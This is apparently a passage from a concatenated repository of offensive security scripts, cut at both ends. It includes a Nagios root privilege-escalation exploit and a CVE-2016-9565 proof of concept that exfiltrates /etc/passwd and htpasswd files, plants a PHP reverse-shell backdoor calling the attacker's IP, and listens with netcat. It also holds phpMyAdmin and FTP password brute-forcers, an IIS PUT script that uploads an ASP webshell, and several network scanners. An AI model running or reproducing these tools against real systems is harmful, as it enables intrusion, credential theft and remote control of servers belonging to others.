restarted...\n" 146 | echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] " 147 | read THE_ANSWER 148 | if [ "$THE_ANSWER" = "y" ]; then 149 | /usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile 150 | fi 151 | sleep 3s 152 | ps aux | grep -v grep | grep -i 'bin/nagios' 153 | if [ $? -ne 0 ]; then 154 | echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n" 155 | fi 156 | while :; do 157 | sleep 1 2>/dev/null 158 | if [ -f /etc/ld.so.preload ]; then 159 | rm -f $ERRORLOG 160 | break; 161 | fi 162 | done 163 | 164 | echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`" 165 | 166 | # /etc/ld.so.preload should be owned by nagios:nagios at this point with perms: 167 | # -rw-r--r-- 1 nagios nagios 168 | # Only 'nagios' user can write to it, but 'nagios' group can not. 169 | # This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user. 170 | # We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe 171 | # nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will 172 | # inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :) 173 | 174 | sleep 3s # Wait for Nagios to create the nagios.cmd pipe 175 | if [ ! -p $commandfile ]; then 176 | echo -e "\n[!] Nagios command pipe $commandfile does not exist!" 177 | exit 2 178 | fi 179 | echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload" 180 | now=`date +%s` 181 | /usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile 182 | sleep 1s 183 | grep -q "$PRIVESCLIB" /etc/ld.so.preload 184 | if [ $? -eq 0 ]; then 185 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`" 186 | else 187 | echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload" 188 | exit 2 189 | fi 190 | 191 | } 2>/dev/null 192 | 193 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 194 | echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary" 195 | sudo 2>/dev/null >/dev/null 196 | 197 | # Check for the rootshell 198 | ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null 199 | if [ $? -eq 0 ]; then 200 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 201 | echo -e "\n\033[94mGot root via Nagios!\033[0m" 202 | else 203 | echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`" 204 | cleanexit 2 205 | fi 206 | 207 | # Use the rootshell to perform cleanup that requires root privileges 208 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 209 | rm -f $ERRORLOG 210 | echo > $ERRORLOG 211 | 212 | # Execute the rootshell 213 | echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n" 214 | $BACKDOORPATH -p -i 215 | 216 | # Job done. 217 | cleanexit 0 218 | -------------------------------------------------------------------------------- /nagios/nagios_cmd_injection.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | This PoC exploit can allow well-positioned attackers to extract and write 4 | arbitrary files on the Nagios server which can lead to arbitrary code execution 5 | on Nagios deployments that follow the official Nagios installation guidelines. 6 | 7 | For details, see the full advisory at: 8 | https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 9 | 10 | PoC Video: 11 | https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 12 | 13 | Usage: 14 | 15 | ./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] 16 | 17 | Disclaimer: 18 | For testing purposes only. Do no harm. 19 | 20 | """ 21 | 22 | import os 23 | import sys 24 | import time 25 | import re 26 | import tornado.httpserver 27 | import tornado.web 28 | import tornado.ioloop 29 | 30 | exploited = 0 31 | docroot_rw = 0 32 | 33 | class MainHandler(tornado.web.RequestHandler): 34 | 35 | def get(self): 36 | global exploited 37 | if (exploited == 1): 38 | self.finish() 39 | else: 40 | ua = self.request.headers['User-Agent'] 41 | if "Magpie" in ua: 42 | print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip 43 | print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n' 44 | self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) 45 | exploited = 1 46 | 47 | def post(self): 48 | global docroot_rw 49 | print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip 50 | 51 | # Extract /etc/passwd from the target 52 | passwd = self.request.files['passwd'][0]['body'] 53 | print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd 54 | 55 | # Extract /usr/local/nagios/etc/htpasswd.users 56 | htauth = self.request.files['htauth'][0]['body'] 57 | print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth 58 | 59 | # Extract nagios group from /etc/group 60 | group = self.request.files['group'][0]['body'] 61 | for line in group.splitlines(): 62 | if "nagios:" in line: 63 | nagios_group = line 64 | print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group 65 | if "www-data" in nagios_group: 66 | print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n" 67 | docroot_rw = 1 68 | 69 | # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' 70 | # option. The output trace should contain an unwrapped line similar to: 71 | # 72 | # == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted 73 | # 74 | # which will do the trick as it won't mess up the payload :) 75 | self.add_header('Server', backdoor) 76 | 77 | # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :) 78 | print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n" 79 | self.write(xmldata) 80 | 81 | self.finish() 82 | tornado.ioloop.IOLoop.instance().stop() 83 | 84 | 85 | if __name__ == "__main__": 86 | global backdoor_path 87 | global backdoor 88 | 89 | print intro 90 | 91 | # Set attacker's external IP & port to be used by the reverse shell 92 | if len(sys.argv) < 2 : 93 | print usage 94 | sys.exit(2) 95 | attacker_ip = sys.argv[1] 96 | if len(sys.argv) == 3 : 97 | attacker_port = sys.argv[1] 98 | else: 99 | attacker_port = 8080 100 | 101 | # PHP backdoor to be saved on the target Nagios server 102 | backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' 103 | backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port) 104 | 105 | # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script 106 | global xmldata 107 | xmldata = """<?xml version="1.0"?> 108 | <rss version="2.0"> 109 | <channel> 110 | <title>Nagios feed with injected JS payload</title> 111 | <item> 112 | <title>Item 1</title> 113 | <description> 114 | 115 | &lt;strong&gt;Feed injected. Here we go &lt;/strong&gt; - 116 | loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) 117 | 118 | &lt;img src=&quot;/nagios/nagios-backdoor.php&quot; onerror=&quot;alert('Reverse Shell /nagios/nagios-backdoor.php executed!')&quot;&gt; 119 | 120 | </description> 121 | 122 | </item> 123 | 124 | </channel> 125 | </rss> """ 126 | 127 | 128 | # Generate SSL cert 129 | print "[+] Generating SSL certificate for our python HTTPS web server \n" 130 | os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null") 131 | 132 | print "[+] Starting the web server on ports 80 & 443 \n" 133 | application = tornado.web.Application([ 134 | (r'/.*', MainHandler) 135 | ]) 136 | application.listen(80) 137 | http_server = tornado.httpserver.HTTPServer( 138 | application, 139 | ssl_options = { 140 | "certfile": os.path.join("./", "server.cert"), 141 | "keyfile": os.path.join("./", "server.key"), 142 | } 143 | ) 144 | http_server.listen(443) 145 | 146 | print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n" 147 | tornado.ioloop.IOLoop.current().start() 148 | 149 | if (docroot_rw == 1): 150 | print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path 151 | print "[*] Spawning netcat and waiting for the nagios shell\n" 152 | os.system("nc -v -l -p 8080") 153 | print "\n[+] Shell closed\n" 154 | 155 | print "[+] That's all. Exiting\n" 156 | -------------------------------------------------------------------------------- /phpmyadmin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Author: IcySun 4 | # 脚本功能:暴力破解phpMyadmin密码 5 | 6 | from Queue import Queue 7 | import threading,sys 8 | import requests 9 | 10 | def use(): 11 | print '#' * 50 12 | print '\t Crack Phpmyadmin root\'s pass' 13 | print '\t\t\t Code By: IcySun' 14 | print '\t python crackPhpmyadmin.py http://xx.com/phpmyadmin/ \n\t (default user is root)' 15 | 16 | print '#' * 50 17 | 18 | def crack(password): 19 | global url 20 | payload = {'pma_username': 'root', 'pma_password': password} 21 | headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} 22 | r = requests.post(url, headers = headers, data = payload) 23 | if 'name="login_form"' not in r.content: 24 | print '[*] OK! Have Got The Pass ==> %s' % password 25 | 26 | class MyThread(threading.Thread): 27 | def __init__(self): 28 | threading.Thread.__init__(self) 29 | def run(self): 30 | global queue 31 | while not queue.empty(): 32 | password = queue.get() 33 | crack(password) 34 | 35 | def main(): 36 | global url,password,queue 37 | queue = Queue() 38 | url = sys.argv[1] 39 | passlist = open('password.txt','r') 40 | for password in passlist.readlines(): 41 | password = password.strip() 42 | queue.put(password) 43 | 44 | for i in range(10): 45 | c = MyThread() 46 | c.start() 47 | 48 | if __name__ == '__main__': 49 | if len(sys.argv) != 2 : 50 | use() 51 | else: 52 | main() 53 | 54 | -------------------------------------------------------------------------------- /port/cip.java: -------------------------------------------------------------------------------- 1 | package com.port.scan; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.FileWriter; 7 | import java.io.InputStreamReader; 8 | import java.io.PrintWriter; 9 | 10 | public class IP { 11 | public static void main(String[] args) throws Exception { 12 | String DbPath=System.getProperty("user.dir")+"\\ip.txt"; 13 | String encoding="utf-8"; 14 | File file=new File(DbPath); 15 | if(file.isFile() && file.exists()){ //判断文件是否存在 16 | InputStreamReader read = new InputStreamReader( 17 | new FileInputStream(file),encoding);//考虑到编码格式 18 | BufferedReader bufferedReader = new BufferedReader(read); 19 | String lineTxt = null; 20 | while((lineTxt = bufferedReader.readLine()) != null){ 21 | for (int i = 1; i <=255; i++) { 22 | System.out.println(lineTxt+"."+i); 23 | writeurl(lineTxt+"."+i+"\r\n"); 24 | } 25 | } 26 | } 27 | 28 | } 29 | 30 | public static void writeurl(String resulturl) throws Exception{ 31 | String DbPath=System.getProperty("user.dir")+"\\result.txt"; 32 | PrintWriter pw = new PrintWriter( new FileWriter( "result.txt",true ) ); 33 | pw.print(resulturl); 34 | pw.close(); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /port/httpscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | # Author: Zeroh 4 | 5 | import re 6 | import sys 7 | import Queue 8 | import threading 9 | import optparse 10 | import requests 11 | from IPy import IP 12 | 13 | printLock = threading.Semaphore(1) #lock Screen print 14 | TimeOut = 5 #request timeout 15 | 16 | #User-Agent 17 | header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36','Connection':'close'} 18 | 19 | class scan(): 20 | 21 | def __init__(self,cidr,threads_num): 22 | self.threads_num = threads_num 23 | self.cidr = IP(cidr) 24 | #build ip queue 25 | self.IPs = Queue.Queue() 26 | for ip in self.cidr: 27 | ip = str(ip) 28 | self.IPs.put(ip) 29 | 30 | def request(self): 31 | with threading.Lock(): 32 | while self.IPs.qsize() > 0: 33 | ip = self.IPs.get() 34 | try: 35 | r = requests.Session().get('http://'+str(ip),headers=header,timeout=TimeOut) 36 | status = r.status_code 37 | title = re.search(r'<title>(.*)</title>', r.text) #get the title 38 | if title: 39 | title = title.group(1).strip().strip("\r").strip("\n")[:30] 40 | else: 41 | title = "None" 42 | banner = '' 43 | try: 44 | banner += r.headers['Server'][:20] #get the server banner 45 | except:pass 46 | printLock.acquire() 47 | print "|%-16s|%-6s|%-20s|%-30s|" % (ip,status,banner,title) 48 | print "+----------------+------+--------------------+------------------------------+" 49 | 50 | #Save log 51 | with open("./log/"+self.cidr.strNormal(3)+".log",'a') as f: 52 | f.write(ip+"\n") 53 | 54 | except Exception,e: 55 | printLock.acquire() 56 | finally: 57 | printLock.release() 58 | 59 | #Multi thread 60 | def run(self): 61 | for i in range(self.threads_num): 62 | t = threading.Thread(target=self.request) 63 | t.start() 64 | 65 | if __name__ == "__main__": 66 | parser = optparse.OptionParser("Usage: %prog [options] target") 67 | parser.add_option("-t", "--thread", dest = "threads_num", 68 | default = 10, type = "int", 69 | help = "[optional]number of theads,default=10") 70 | (options, args) = parser.parse_args() 71 | if len(args) < 1: 72 | parser.print_help() 73 | sys.exit(0) 74 | 75 | print "+----------------+------+--------------------+------------------------------+" 76 | print "| IP |Status| Server | Title |" 77 | print "+----------------+------+--------------------+------------------------------+" 78 | 79 | s = scan(cidr=args[0],threads_num=options.threads_num) 80 | s.run() 81 | -------------------------------------------------------------------------------- /port/ip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # encoding=utf-8 3 | 4 | import optparse,re,sys,os 5 | 6 | def getip(_txt): 7 | result = [] 8 | f = open(_txt,"r") 9 | line = f.read() 10 | result = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', line) 11 | result = {}.fromkeys(result).keys() 12 | return result 13 | 14 | def ping(hosts): 15 | ipss = [] 16 | for i in hosts: 17 | ret = os.system("ping -c 1 -t 1 %s > nop" % i) 18 | #ret = os.system("ping -n 1 -w 1 %s > nop" % i) 19 | if not ret: 20 | ipss.append(i) 21 | return ipss 22 | 23 | 24 | if __name__ == '__main__': 25 | txt = [] 26 | parser = optparse.OptionParser('usage: %prog [options] target') 27 | parser.add_option('-t','--threads', dest='threads_num',default=20, type='int',help='Number of threads. default = 20') 28 | parser.add_option('-f', '--file', dest='names_file',default='false', type='string',help='files default = false') 29 | (options, args) = parser.parse_args() 30 | 31 | if str(options.names_file) == "false": 32 | if len(args) < 1 : 33 | parser.print_help() 34 | sys.exit(0) 35 | txt = ping(getip(str(options.names_file))) 36 | print txt 37 | -------------------------------------------------------------------------------- /port/portscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # encoding=utf-8 3 | # Filename: test.py 4 | # author = 0c0c0f 5 | import threading,sys,socket,re 6 | import time,Queue 7 | import optparse 8 | 9 | #定义扫描端口 10 | PortList = [21,22,23,25,53,80,443,445,873,1433,1521,1723,3306,3389,4848,4899,5800,5900,7001,8080,8443,8500,9080,9200,27017] 11 | #存放IP数组 12 | result =[] 13 | #定义连接超时时间 14 | Timeout = 2 15 | # 创建锁 16 | mutex = threading.Lock() 17 | #定义线程池 18 | threads = [] 19 | #创建队列 20 | queue = Queue.Queue() 21 | 22 | def scan(): 23 | global mutex,queue,Timeout 24 | #time.sleep(2) 25 | #print threading.currentThread().getName() 26 | while True: 27 | try: 28 | item = queue.get(timeout=0.1) 29 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | sk.settimeout(Timeout) 31 | try: 32 | sk.connect((item['ip'],int(item['port']))) 33 | mutex.acquire() 34 | print('Server %s port %d OK!' % (item['ip'],item['port'])) 35 | mutex.release() 36 | sk.close() 37 | except: 38 | pass 39 | except: 40 | break 41 | ''' 42 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 43 | sk.settimeout(Timeout) 44 | try: 45 | mutex.acquire() 46 | sk.connect((i,p)) 47 | print('Server %s port %d OK!' % (i,p)) 48 | mutex.release() 49 | except Exception: 50 | pass 51 | sk.close() 52 | ''' 53 | 54 | def main(txt,num): 55 | #把数组压入队列 56 | for j in PortList: 57 | queue.put({'ip': txt,'port':int(j)}) 58 | # 先创建线程对象 59 | for x in xrange(0, num): 60 | th = threading.Thread(target=scan) 61 | th.start() 62 | threads.append(th) 63 | for t in threads: 64 | t.join() 65 | 66 | if __name__ == '__main__': 67 | parser = optparse.OptionParser('usage: %prog [options] target') 68 | parser.add_option('-t','--threads', dest='threads_num',default=20, type='int',help='Number of threads. default = 20') 69 | (options, args) = parser.parse_args() 70 | m = re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', args[0]) 71 | if len(args) < 1 and m: 72 | parser.print_help() 73 | sys.exit(0) 74 | 75 | txt = str(args[0]) 76 | time1= time.time() 77 | main(txt,int(options.threads_num)) 78 | time2= time.time() 79 | print time2-time1 80 | -------------------------------------------------------------------------------- /scanc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | # @Author: IcySun 5 | 6 | import requests,urllib2,urllib 7 | import socket, json,sys,re 8 | 9 | class scanC(): 10 | 11 | def use(self): 12 | print '#' * 50 13 | print u'\t\t C段扫描' 14 | print '\t\t\t Code By: IcySun' 15 | print '\t python scanc.py www.xxx.com(ip) ' 16 | print '#' * 50 17 | 18 | def ipChk(self,in_put): 19 | pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" 20 | if re.match(pattern, in_put): 21 | return True 22 | else: 23 | return False 24 | 25 | def www2ip(self,name): 26 | try: 27 | result = socket.getaddrinfo(name, None) 28 | return result[0][4][0] 29 | except: 30 | return 0 31 | 32 | def scan(self,ip): 33 | payload = {'action':'query','ip':ip} 34 | test_data_urlencode = urllib.urlencode(payload) 35 | req = urllib2.Request(url = weburl,data = test_data_urlencode) 36 | try: 37 | res_data = urllib2.urlopen(req,timeout = 3) 38 | con = json.loads(res_data.read()) 39 | if isinstance(con['list'],list): 40 | if len(con['list']) != 0: 41 | print ip,con['list'][0] 42 | with open('c.txt','a+') as c: 43 | c.write(ip+' '+con['list'][0]+'\n') 44 | else : 45 | for (d,x) in con['list'].items(): 46 | print ip,str(x) 47 | with open('c.txt','a+') as c: 48 | c.write(ip+' '+str(x)+'\n') 49 | except socket.timeout, e: 50 | pass 51 | except urllib2.URLError,e: 52 | pass 53 | 54 | def main(): 55 | global weburl 56 | s = scanC() 57 | weburl = 'http://www.144118.com/api/Cclass.php' 58 | if len(sys.argv) != 2: 59 | s.use() 60 | sys.exit() 61 | in_put = sys.argv[1] 62 | if s.ipChk(in_put): 63 | ip1 = re.match(r"^\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.+",in_put).group(0) 64 | for i in xrange(1,255): 65 | ip = ip1 + str(i) 66 | s.scan(ip) 67 | 68 | else: 69 | ip1 = re.match(r"^\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.+",s.www2ip(in_put)).group(0) 70 | for i in xrange(1,255): 71 | ip = ip1 + str(i) 72 | s.scan(ip) 73 | 74 | if __name__ == '__main__': 75 | main() 76 | -------------------------------------------------------------------------------- /service/IIS_Put_File.py: -------------------------------------------------------------------------------- 1 | #-*- encoding:utf-8 -*- 2 | 3 | ''' 4 | IIS put file From http://www.lijiejie.com 5 | 6 | Usage: 7 | iisPUT.py www.example.com:8080 8 | ''' 9 | 10 | import httplib 11 | import sys 12 | 13 | try: 14 | conn = httplib.HTTPConnection(sys.argv[1]) 15 | conn.request(method='OPTIONS', url='/') 16 | headers = dict(conn.getresponse().getheaders()) 17 | if headers.get('server', '').find('Microsoft-IIS') < 0: 18 | print 'This is not an IIS web server' 19 | 20 | if 'public' in headers and \ 21 | headers['public'].find('PUT') > 0 and \ 22 | headers['public'].find('MOVE') > 0: 23 | conn.close() 24 | conn = httplib.HTTPConnection(sys.argv[1]) 25 | # PUT hack.txt 26 | conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' ) 27 | conn.close() 28 | conn = httplib.HTTPConnection(sys.argv[1]) 29 | # mv hack.txt to hack.asp 30 | conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'}) 31 | print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp' 32 | else: 33 | print 'Server not vulnerable' 34 | 35 | except Exception,e: 36 | print 'Error:', e 37 | -------------------------------------------------------------------------------- /service/ftp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: gbk -*- 3 | # -*- coding: utf_8 -*- 4 | # Date: 2014/9/5 5 | # Created by 独自等待 6 | # 博客 http://www.waitalone.cn/ 7 | from threading import Thread 8 | import ftplib, socket 9 | import sys, time, re 10 | 11 | 12 | def usage(): 13 | print '+' + '-' * 50 + '+' 14 | print '\t Python FTP暴力破解工具多线程版' 15 | print '\t Blog:http://www.waitalone.cn/' 16 | print '\t\t Code BY: 独自等待' 17 | print '\t\t Time:2014-09-05' 18 | print '+' + '-' * 50 + '+' 19 | if len(sys.argv) != 4: 20 | print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表" 21 | print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt" 22 | sys.exit() 23 | 24 | 25 | def brute_anony(): 26 | try: 27 | print '[+] 测试匿名登陆……\n' 28 | ftp = ftplib.FTP() 29 | ftp.connect(host, 21, timeout=10) 30 | print 'FTP消息: %s \n' % ftp.getwelcome() 31 | ftp.login() 32 | ftp.retrlines('LIST') 33 | ftp.quit() 34 | print '\n[+] 匿名登陆成功……\n' 35 | except ftplib.all_errors: 36 | print '\n[-] 匿名登陆失败……\n' 37 | 38 | 39 | def brute_users(user, pwd): 40 | try: 41 | ftp = ftplib.FTP() 42 | ftp.connect(host, 21, timeout=10) 43 | ftp.login(user, pwd) 44 | ftp.retrlines('LIST') 45 | ftp.quit() 46 | print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd) 47 | except ftplib.all_errors: 48 | pass 49 | 50 | 51 | if __name__ == '__main__': 52 | usage() 53 | start_time = time.time() 54 | if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): 55 | host = sys.argv[1] 56 | else: 57 | host = socket.gethostbyname(sys.argv[1]) 58 | userlist = [i.rstrip() for i in open(sys.argv[2])] 59 | passlist = [j.rstrip() for j in open(sys.argv[3])] 60 | print '目 标:%s \n' % sys.argv[1] 61 | print '用户名:%d 条\n' % len(userlist) 62 | print '密 码:%d 条\n' % len(passlist) 63 | brute_anony() 64 | print '\n[+] 暴力破解测试中……\n' 65 | thrdlist = [] 66 | for user in userlist: 67 | for pwd in passlist: 68 | t = Thread(target=brute_users, args=(user, pwd)) 69 | t.start() 70 | thrdlist.append(t) 71 | time.sleep(0.009) 72 | for x in thrdlist: 73 | x.join() 74 | print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time) 75 | -------------------------------------------------------------------------------- /service/httpsys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*-coding:utf-8-*- 3 | 4 | import socket 5 | import random 6 | 7 | 8 | ipAddr = "xxx" 9 | hexAllFfff = "18446744073709551615" 10 | req1 = "GET / HTTP/1.0\r\n\r\n" 11 | req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" 12 | 13 | print "[*] Audit Started" 14 | 15 | try: 16 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | client_socket.connect((ipAddr, 8080)) 18 | client_socket.send(req1) 19 | boringResp = client_socket.recv(1024) 20 | if "Microsoft" not in boringResp: 21 | print "[*] Not IIS" 22 | exit(0) 23 | client_socket.close() 24 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | client_socket.connect((ipAddr, 8080)) 26 | client_socket.send(req) 27 | goodResp = client_socket.recv(1024) 28 | if "Requested Range Not Satisfiable" in goodResp: 29 | print "[!!] Looks VULN" 30 | elif " The request has an invalid header name" in goodResp: 31 | print "[*] Looks Patched" 32 | else: 33 | print "[*] Unexpected response, cannot discern patch status" 34 | 35 | except Exception,e: 36 | print e 37 | -------------------------------------------------------------------------------- /service/iis_shortname_Scan.py: -------------------------------------------------------------------------------- 1 | # encoding=gbk 2 | # An IIS short_name scanner my[at]lijiejie.com http://www.lijiejie.com 3 | 4 | import sys 5 | import httplib 6 | import urlparse 7 | import string 8 | import threading 9 | import Queue 10 | import time 11 | import string 12 | 13 | 14 | class Scanner(): 15 | def __init__(self, target): 16 | self.target = target 17 | self.scheme, self.netloc, self.path, params, query, fragment = \ 18 | urlparse.urlparse(target) 19 | if self.path[-1:] != '/': # ends with slash 20 | self.path += '/' 21 | self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-') 22 | self.files = [] 23 | self.dirs = [] 24 | self.queue = Queue.Queue() 25 | self.lock = threading.Lock() 26 | self.threads = [] 27 | 28 | 29 | def _conn(self): 30 | try: 31 | if self.scheme == 'https': 32 | conn = httplib.HTTPSConnection(self.netloc) 33 | else: 34 | conn = httplib.HTTPConnection(self.netloc) 35 | return conn 36 | except Exception, e: 37 | print '[Exception in function _conn]', e 38 | return None 39 | 40 | # fetch http response status code 41 | def _get_status(self, path): 42 | try: 43 | conn = self._conn() 44 | conn.request('GET', path) 45 | status = conn.getresponse().status 46 | conn.close() 47 | return status 48 | except Exception, e: 49 | raise Exception('[Exception in function _get_status] %s' % str(e) ) 50 | 51 | # test weather the server is vulerable 52 | def is_vul(self): 53 | try: 54 | status_1 = self._get_status(self.path + '/*~1****/a.aspx') # an existed file/folder 55 | status_2 = self._get_status(self.path + '/l1j1e*~1****/a.aspx') # not existed file/folder 56 | if status_1 == 404 and status_2 == 400: 57 | return True 58 | return False 59 | except Exception, e: 60 | raise Exception('[Exception in function is_val] %s' % str(e) ) 61 | 62 | def run(self): 63 | # start from root path 64 | for payload in self.payloads: 65 | self.queue.put( (self.path + payload, '****') ) # filename, extention 66 | for i in range(10): 67 | t = threading.Thread(target=self._scan_worker) 68 | self.threads.append(t) 69 | t.start() 70 | 71 | def report(self): 72 | for t in self.threads: 73 | t.join() 74 | self._print('-'* 64) 75 | for d in self.dirs: 76 | self._print('Dir: ' + d) 77 | for f in self.files: 78 | self._print('File: ' + f) 79 | self._print('-'*64) 80 | self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) ) 81 | 82 | 83 | def _print(self, msg): 84 | self.lock.acquire() 85 | print msg 86 | self.lock.release() 87 | 88 | def _scan_worker(self): 89 | while True: 90 | try: 91 | url, ext = self.queue.get(timeout=3) 92 | status = self._get_status(url + '*~1' + ext + '/1.aspx') 93 | if status == 404: 94 | self._print('Found ' + url + ext + '\t[scan in progress]') 95 | 96 | if len(url) - len(self.path)< 6: # enum first 6 chars only 97 | for payload in self.payloads: 98 | self.queue.put( (url + payload, ext) ) 99 | else: 100 | if ext == '****': # begin to scan extention 101 | for payload in string.ascii_lowercase: 102 | self.queue.put( (url, '*' + payload + '**') ) 103 | self.queue.put( (url,'') ) # also it can be a folder 104 | elif ext.count('*') == 3: 105 | for payload in string.ascii_lowercase: 106 | self.queue.put( (url, '*' + ext[1] + payload + '*') ) 107 | elif ext.count('*') == 2: 108 | for payload in string.ascii_lowercase: 109 | self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) ) 110 | elif ext == '': 111 | self.dirs.append(url + '~1') 112 | self._print('Found Dir ' + url + '~1\t[Done]') 113 | 114 | elif ext.count('*') == 1: 115 | self.files.append(url + '~1.' + ext[1:]) 116 | self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]') 117 | except Exception,e: 118 | break 119 | 120 | 121 | 122 | if len(sys.argv) == 1: 123 | print 'Usage: %s target' % sys.argv[0] 124 | sys.exit() 125 | 126 | file = sys.argv[1] 127 | fobj = open(file,'r') 128 | fileHandle = open('vul.txt','a+') 129 | for target in fobj: 130 | print target.strip() 131 | s = Scanner(target.strip()) 132 | if not s.is_vul(): 133 | print 'NO vulerable' 134 | #sys.exit(0) 135 | else: 136 | fileHandle.write(target) 137 | print 'server is vulerable' 138 | #s.run() 139 | #s.report() 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /service/mongdb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import pymongo 4 | import random 5 | 6 | fobj = open('27017.txt','r') 7 | fileHandle = 